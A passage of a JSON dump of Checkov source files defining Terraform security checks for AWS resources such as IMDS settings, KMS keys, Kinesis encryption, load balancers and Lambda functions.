    "content": "from checkov.terraform.checks.resource.base_cloudsplaining_resource_iam_check import BaseTerraformCloudsplainingResourceIAMCheck\n\n\nclass cloudsplainingWriteAccess(BaseTerraformCloudsplainingResourceIAMCheck):\n\n    def __init__(self):\n        name = \"Ensure IAM policies does not allow write access without constraints\"\n        id = \"CKV_AWS_290\"\n        super().__init__(name=name, id=id)\n\n    def cloudsplaining_analysis(self, policy):\n        return policy.write_actions_without_constraints\n\n\ncheck = cloudsplainingWriteAccess()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/IMDSv1Disabled.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass IMDSv1Disabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Instance Metadata Service Version 1 is not enabled\"\n        id = \"CKV_AWS_79\"\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        supported_resources = (\"aws_instance\", \"aws_launch_template\", \"aws_launch_configuration\")\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        \"\"\"\n        Looks for if the metadata service is disabled or requires session tokens:\n        https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/instance#metadata-options\n        or\n        https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/launch_template#metadata-options\n\n        :param conf: dict of supported resource configuration\n        :return: <CheckResult>\n        \"\"\"\n        metadata_options = conf.get(\"metadata_options\")\n        if not metadata_options or not isinstance(metadata_options[0], dict):\n            return CheckResult.FAILED\n\n        if metadata_options[0].get(\"http_endpoint\") == [\"disabled\"]:\n            return CheckResult.PASSED\n\n        return super().scan_resource_conf(conf)\n\n    def get_inspected_key(self) -> str:\n        return \"metadata_options/[0]/http_tokens\"\n\n    def get_expected_value(self) -> Any:\n        return \"required\"\n\n\ncheck = IMDSv1Disabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ImagebuilderComponentEncryptedWithCMK.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass ImagebuilderComponentEncryptedWithCMK(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Image Builder component is encrypted by KMS using a customer managed Key (CMK)\"\n        id = \"CKV_AWS_180\"\n        supported_resources = ['aws_imagebuilder_component']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"kms_key_id\"\n\n    def get_expected_value(self) -> str:\n        return ANY_VALUE\n\n\ncheck = ImagebuilderComponentEncryptedWithCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ImagebuilderDistributionConfigurationEncryptedWithCMK.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass ImagebuilderDistributionConfigurationEncryptedWithCMK(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Image Builder Distribution Configuration encrypts AMI's \" \\\n               \"using KMS - a customer managed Key (CMK)\"\n        id = \"CKV_AWS_199\"\n        supported_resources = ['aws_imagebuilder_distribution_configuration']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"distribution/[0]/ami_distribution_configuration/[0]/kms_key_id\"\n\n    def get_expected_value(self) -> str:\n        return ANY_VALUE\n\n\ncheck = ImagebuilderDistributionConfigurationEncryptedWithCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ImagebuilderImageRecipeEBSEncrypted.py",
    "content": "from typing import Dict, List, Any\n\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass ImagebuilderImageRecipeEBSEncrypted(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Image Recipe EBS Disk are encrypted with CMK\"\n        id = \"CKV_AWS_200\"\n        supported_resources = (\"aws_imagebuilder_image_recipe\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        mappings = conf.get(\"block_device_mapping\")\n        if mappings and isinstance(mappings, list):\n            self.evaluated_keys = [\"block_device_mapping\"]\n            for mapping in mappings:\n                if mapping.get(\"ebs\"):\n                    self.evaluated_keys.append(\"block_device_mapping/[0]/ebs\")\n                    ebs = mapping[\"ebs\"][0]\n                    if not ebs.get(\"encrypted\"):\n                        return CheckResult.FAILED\n                    if not ebs.get(\"kms_key_id\"):\n                        return CheckResult.FAILED\n        # pass through\n        return CheckResult.PASSED\n\n\ncheck = ImagebuilderImageRecipeEBSEncrypted()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/KMSKeyIsEnabled.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass KMSKeyIsEnabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure KMS key is enabled\"\n        id = \"CKV_AWS_227\"\n        supported_resources = ('aws_kms_key',)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.PASSED)\n\n    def get_inspected_key(self) -> str:\n        return \"is_enabled\"\n\n\ncheck = KMSKeyIsEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/KMSKeyWildcardPrincipal.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.util.type_forcers import force_list\n\n\nclass KMSKeyWildcardPrincipal(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure KMS key policy does not contain wildcard (*) principal\"\n        id = \"CKV_AWS_33\"\n        supported_resources = ['aws_kms_key']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if 'policy' not in conf:\n            return CheckResult.PASSED\n        self.evaluated_keys = ['policy']\n        try:\n            policy_block = conf['policy'][0]\n            if 'Statement' in policy_block:\n                self.evaluated_keys = ['policy/[0]/Statement']\n                for idx, statement in enumerate(force_list(policy_block['Statement'])):\n                    if 'Principal' in statement:\n                        principal = statement['Principal']\n                        if 'Effect' in statement and statement['Effect'] == 'Deny':\n                            continue\n                        if 'Condition' in statement:\n                            continue\n                        if 'AWS' in principal:\n                            aws = principal['AWS']\n                            if (isinstance(aws, str) and aws == '*') or (isinstance(aws, list) and '*' in aws):\n                                idx_evaluated_key = f'[{idx}]/' if isinstance(policy_block['Statement'], list) else ''\n                                self.evaluated_keys = [f'policy/[0]/Statement/{idx_evaluated_key}Principal/AWS']\n                                return CheckResult.FAILED\n                        if (isinstance(principal, str) and principal == '*') or (isinstance(principal, list) and '*' in principal):\n                            idx_evaluated_key = f'[{idx}]/' if isinstance(policy_block['Statement'], list) else ''\n                            self.evaluated_keys = [f'policy/[0]/Statement/{idx_evaluated_key}Principal']\n                            return CheckResult.FAILED\n        except Exception:  # nosec\n            pass\n        return CheckResult.PASSED\n\n\ncheck = KMSKeyWildcardPrincipal()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/KMSRotation.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass KMSRotation(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure rotation for customer created CMKs is enabled\"\n        id = \"CKV_AWS_7\"\n        supported_resources = ['aws_kms_key']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"enable_key_rotation\"\n\n    def scan_resource_conf(self, conf):\n        # Only symmetric keys support auto rotation. The attribute is optional and defaults to symmetric.\n        spec = conf.get('customer_master_key_spec')\n        if not spec or 'SYMMETRIC_DEFAULT' in spec or 'HMAC' in spec:\n            return super().scan_resource_conf(conf)\n        else:\n            return CheckResult.UNKNOWN\n\n\ncheck = KMSRotation()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/KendraIndexSSEUsesCMK.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass KendraIndexSSEUsesCMK(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Kendra index Server side encryption uses CMK\"\n        id = \"CKV_AWS_262\"\n        supported_resources = ['aws_kendra_index']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'server_side_encryption_configuration/[0]/kms_key_id'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = KendraIndexSSEUsesCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/KeyspacesTableUsesCMK.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass KeyspacesTableUsesCMK(BaseResourceCheck):\n    \"\"\"\n    Valid values for encryption_specification type:\n    AWS_OWNED_KMS_KEY (default), CUSTOMER_MANAGED_KMS_KEY (requires kms_key_identifier:ARN)\n    \"\"\"\n    def __init__(self):\n        name = \"Ensure Keyspaces Table uses CMK\"\n        id = \"CKV_AWS_265\"\n        supported_resources = ['aws_keyspaces_table']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        if conf.get(\"encryption_specification\") and isinstance(conf.get(\"encryption_specification\"), list):\n            encrypt = conf.get(\"encryption_specification\")[0]\n            if encrypt.get(\"kms_key_identifier\") and isinstance(encrypt.get(\"kms_key_identifier\"), list):\n                if encrypt.get(\"type\") == [\"CUSTOMER_MANAGED_KMS_KEY\"]:\n                    return CheckResult.PASSED\n                self.evaluated_keys = [\"encryption_specification/[0]/type\"]\n            self.evaluated_keys = [\"encryption_specification/[0]/kms_key_identifier\"]\n        self.evaluated_keys = [\"encryption_specification\"]\n        return CheckResult.FAILED\n\n\ncheck = KeyspacesTableUsesCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/KinesisFirehoseDeliveryStreamSSE.py",
    "content": "from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass KinesisFirehoseDeliveryStreamSSE(BaseResourceCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        Server-side encryption should not be enabled when a kinesis stream is configured\n        as the source of the firehose delivery stream.\n        \"\"\"\n        name = \"Ensure Kinesis Firehose delivery stream is encrypted\"\n        id = \"CKV_AWS_240\"\n        supported_resources = [\"aws_kinesis_firehose_delivery_stream\"]\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        if conf.get(\"kinesis_source_configuration\"):\n            return CheckResult.UNKNOWN\n        if conf.get(\"server_side_encryption\"):\n            sse = conf.get(\"server_side_encryption\")[0]\n            if sse.get(\"enabled\") == [True]:\n                return CheckResult.PASSED\n        self.evaluated_keys = [\"server_side_encryption/[0]/enabled\"]\n        return CheckResult.FAILED\n\n\ncheck = KinesisFirehoseDeliveryStreamSSE()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/KinesisFirehoseDeliveryStreamUsesCMK.py",
    "content": "from typing import Dict, List, Any\n\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass KinesisFirehoseDeliveryStreamUsesCMK(BaseResourceCheck):\n\n    def __init__(self):\n        name = \"Ensure that Kinesis Firehose Delivery Streams are encrypted with CMK\"\n        id = \"CKV_AWS_241\"\n        supported_resources = [\"aws_kinesis_firehose_delivery_stream\"]\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        if conf.get(\"kinesis_source_configuration\"):\n            return CheckResult.UNKNOWN\n\n        if conf.get('server_side_encryption'):\n            sse = conf.get('server_side_encryption')[0]\n            if sse.get('enabled') != [True]:\n                self.evaluated_keys = ['server_side_encryption/[0]/enabled']\n                return CheckResult.FAILED\n            if sse.get('key_type') != [\"CUSTOMER_MANAGED_CMK\"]:\n                self.evaluated_keys = ['server_side_encryption/[0]/key_type']\n                return CheckResult.FAILED\n            if not sse.get('key_arn'):\n                self.evaluated_keys = ['server_side_encryption/[0]/']\n                return CheckResult.FAILED\n            if not sse.get('key_arn')[0]:\n                self.evaluated_keys = ['server_side_encryption/[0]/key_arn']\n                return CheckResult.FAILED\n            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = KinesisFirehoseDeliveryStreamUsesCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/KinesisStreamEncryptedWithCMK.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass KinesisStreamEncryptedWithCMK(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Kinesis Stream is encrypted by KMS using a customer managed Key (CMK)\"\n        id = \"CKV_AWS_185\"\n        supported_resources = ['aws_kinesis_stream']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"kms_key_id\"\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = KinesisStreamEncryptedWithCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/KinesisStreamEncryptionType.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\r\nfrom checkov.common.models.enums import CheckCategories\r\n\r\n\r\nclass KinesisStreamEncryptionType(BaseResourceValueCheck):\r\n    def __init__(self) -> None:\r\n        name = \"Ensure Kinesis Stream is securely encrypted\"\r\n        id = \"CKV_AWS_43\"\r\n        supported_resources = [\"aws_kinesis_stream\"]\r\n        categories = [CheckCategories.ENCRYPTION]\r\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\r\n\r\n    def get_inspected_key(self) -> str:\r\n        return \"encryption_type\"\r\n\r\n    def get_expected_value(self) -> str:\r\n        return \"KMS\"\r\n\r\n\r\ncheck = KinesisStreamEncryptionType()\r\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/KinesisVideoEncryptedWithCMK.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass KinesisVideoEncryptedWithCMK(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Kinesis Video Stream is encrypted by KMS using a customer managed Key (CMK)\"\n        id = \"CKV_AWS_177\"\n        supported_resources = ['aws_kinesis_video_stream']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"kms_key_id\"\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = KinesisVideoEncryptedWithCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/LBCrossZone.py",
    "content": "from typing import Dict, List\n\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass LBCrossZone(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Load Balancer (Network/Gateway) has cross-zone load balancing enabled\"\n        id = \"CKV_AWS_152\"\n        supported_resources = [\"aws_lb\", \"aws_alb\"]\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, List]) -> CheckResult:\n        if conf.get(\"load_balancer_type\", [\"application\"]) == [\"application\"]:\n            return CheckResult.UNKNOWN\n        return super().scan_resource_conf(conf)\n\n    def get_inspected_key(self) -> str:\n        return \"enable_cross_zone_load_balancing\"\n\n\ncheck = LBCrossZone()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/LBDeletionProtection.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass LBDeletionProtection(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that Load Balancer has deletion protection enabled\"\n        id = \"CKV_AWS_150\"\n        supported_resources = [\"aws_lb\", \"aws_alb\"]\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"enable_deletion_protection\"\n\n\ncheck = LBDeletionProtection()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/LBTargetGroupsDefinesHealthcheck.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass LBTargetGroupDefinesHealthCheck(BaseResourceCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        PCI v3.2.1\n        \"\"\"\n\n        name = \"Ensure HTTP HTTPS Target group defines Healthcheck\"\n        id = \"CKV_AWS_261\"\n        supported_resources = (\n            \"aws_lb_target_group\",\n            \"aws_alb_target_group\",\n        )\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        if conf.get(\"protocol\") in ([\"HTTP\"], [\"HTTPS\"]):\n            health_checks = conf.get(\"health_check\")\n            if health_checks and isinstance(health_checks, list):\n                healthcheck = health_checks[0]\n                if isinstance(healthcheck, dict) and healthcheck.get(\"path\"):\n                    return CheckResult.PASSED\n            self.evaluated_keys = [\"health_check\"]\n            return CheckResult.FAILED\n        return CheckResult.UNKNOWN\n\n\ncheck = LBTargetGroupDefinesHealthCheck()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/LambdaCodeSigningConfigured.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass LambdaCodeSigningConfigured(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure AWS Lambda function is configured to validate code-signing\"\n        id = \"CKV_AWS_272\"\n        supported_resources = ['aws_lambda_function']\n        categories = [CheckCategories.SUPPLY_CHAIN]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"code_signing_config_arn\"\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = LambdaCodeSigningConfigured()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/LambdaDLQConfigured.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass LambdaDLQConfigured(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that AWS Lambda function is configured for a Dead Letter Queue(DLQ)\"\n        id = \"CKV_AWS_116\"\n        supported_resources = ['aws_lambda_function']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"dead_letter_config/[0]/target_arn\"\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = LambdaDLQConfigured()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/LambdaEnvironmentCredentials.py",
    "content": "from typing import Dict, List, Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.util.secrets import string_has_secrets, AWS, GENERAL\nfrom checkov.common.util.type_forcers import force_list\n\n\nclass LambdaEnvironmentCredentials(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure no hard-coded secrets exist in lambda environment\"\n        id = \"CKV_AWS_45\"\n        supported_resources = [\"aws_lambda_function\"]\n        categories = [CheckCategories.SECRETS]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        environment = conf.get(\"environment\", [])\n        if environment and isinstance(environment[0], dict):\n            self.evaluated_keys = [\"environment\"]\n\n            variables = force_list(environment[0].get(\"variables\", []))\n            if variables and isinstance(variables[0], dict):\n                self.evaluated_keys = [\"environment/[0]/variables\"]\n\n                violated_envs = set()\n                for key, values in variables[0].items():\n                    # variables can be a string, which in this case it points to a variable\n                    for idx, value in enumerate([v for v in force_list(values) if isinstance(v, str)]):\n                        if string_has_secrets(value, AWS, GENERAL):\n                            conf[f'{self.id}_secret_{idx}'] = value\n                            violated_envs.add(key)\n\n                if violated_envs:\n                    self.evaluated_keys = [f\"environment/[0]/variables/[0]/{env_key}\" for env_key in violated_envs]\n\n                    return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = LambdaEnvironmentCredentials()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/LambdaEnvironmentEncryptionSettings.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass LambdaEnvironmentEncryptionSettings(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Check encryption settings for Lambda environmental variable\"\n        id = \"CKV_AWS_173\"\n        supported_resources = (\"aws_lambda_function\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        # check that if I have env vars I have a KMS key\n        if len(conf.get(\"environment\", [])):\n            if \"kms_key_arn\" in conf:\n                if conf.get(\"kms_key_arn\") == [\"\"]:\n                    return CheckResult.FAILED\n                return CheckResult.PASSED\n            return CheckResult.FAILED\n\n        # no env vars so should be no key as that causes state mismatch\n        if \"kms_key_arn\" in conf and len(conf[\"kms_key_arn\"]):\n            return CheckResult.FAILED\n        # neither env vars nor kms key\n        return CheckResult.UNKNOWN\n\n    def get_evaluated_keys(self) -> list[str]:\n        return [\"kms_key_arn\"]\n\n\ncheck = LambdaEnvironmentEncryptionSettings()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/LambdaFunctionIsNotPublic.py",
    "content": "from __future__ import annotations\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\nfrom typing import Any\n\n\nclass LambdaFunctionIsNotPublic(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        PCI DSS v3.2.1/1.2.1, PCI DSS v3.2.1/1.3.1, PCI DSS v3.2.1/1.3.2, PCI DSS v3.2.1/1.3.4, PCI DSS v3.2.1/7.2.1,\n        NIST.800-53.r5 AC-21, NIST.800-53.r5 AC-3, NIST.800-53.r5 AC-3(7), NIST.800-53.r5 AC-4, NIST.800-53.r5 AC-4(21),\n        NIST.800-53.r5 AC-6, NIST.800-53.r5 SC-7, NIST.800-53.r5 SC-7(11), NIST.800-53.r5 SC-7(16), NIST.800-53.r5 SC-7(20),\n        NIST.800-53.r5 SC-7(21), NIST.800-53.r5 SC-7(3), NIST.800-53.r5 SC-7(4), NIST.800-53.r5 SC-7(9)\n        Lambda function policies should prohibit public access\n        \"\"\"\n\n        name = \"Ensure that AWS Lambda function is not publicly accessible\"\n        id = \"CKV_AWS_301\"\n        supported_resources = (\"aws_lambda_permission\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n        )\n\n    def get_inspected_key(self) -> str:\n        return \"principal\"\n\n    def get_forbidden_values(self) -> list[Any]:\n        return [\"*\"]\n\n\ncheck = LambdaFunctionIsNotPublic()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/LambdaFunctionLevelConcurrentExecutionLimit.py",
    "content": "from __future__ import annotations\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\nfrom typing import Any\n\n\nclass LambdaFunctionLevelConcurrentExecutionLimit(BaseResourceNegativeValueCheck):\n    def __init__(self):\n        name = \"Ensure that AWS Lambda function is configured for function-level concurrent execution limit\"\n        id = \"CKV_AWS_115\"\n        supported_resources = (\"aws_lambda_function\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n            missing_attribute_result=CheckResult.FAILED,\n        )\n\n    def get_inspected_key(self) -> str:\n        return \"reserved_concurrent_executions/[0]\"\n\n    def get_forbidden_values(self) -> list[Any]:\n        return [\"${-1}\"]\n\n\ncheck = LambdaFunctionLevelConcurrentExecutionLimit()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/LambdaFunctionURLAuth.py",
    "content": "from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass LambdaFunctionURLAuth(BaseResourceNegativeValueCheck):\n\n    def __init__(self):\n        name = \"Ensure that Lambda function URLs AuthType is not None\"\n        id = \"CKV_AWS_258\"\n        supported_resources = ['aws_lambda_function_url']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"authorization_type\"\n\n    def get_forbidden_values(self):\n        return [\"NONE\"]\n\n\ncheck = LambdaFunctionURLAuth()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/LambdaInVPC.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass LambdaInVPC(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that AWS Lambda function is configured inside a VPC\"\n        id = \"CKV_AWS_117\"\n        supported_resources = (\"aws_lambda_function\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"vpc_config\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = LambdaInVPC()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/LambdaServicePermission.py",
    "content": "from __future__ import annotations\n\nfrom typing import List, Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass LambdaServicePermission(BaseResourceCheck):\n    def __init__(self) -> None:\n        description = \"Ensure that AWS Lambda function permissions delegated to AWS services are limited by SourceArn or SourceAccount\"\n        id = \"CKV_AWS_364\"\n        supported_resources = ('aws_lambda_permission',)\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=description, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        # Replace this with the custom logic for your check\n        principal = conf.get(\"principal\")\n        if principal and isinstance(principal, list) and isinstance(principal[0], str):\n            principal_parts = principal[0].split('.')\n            try:\n                if principal_parts[1] == 'amazonaws' and principal_parts[2] == 'com':  # This confirms that the principal is set as a service principal.\n                    if 'source_arn' in conf or 'source_account' in conf:  # If either of these are set, we're good and the check should pass.\n                        self.evaluated_keys = self.get_evaluated_keys()\n                        return CheckResult.PASSED\n                    else:\n                        self.evaluated_keys = self.get_evaluated_keys()\n                        return CheckResult.FAILED\n            except IndexError:\n                return CheckResult.UNKNOWN\n        return CheckResult.UNKNOWN\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"principal\", \"source_arn\", \"source_account\"]\n\n\ncheck = LambdaServicePermission()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/LambdaXrayEnabled.py",
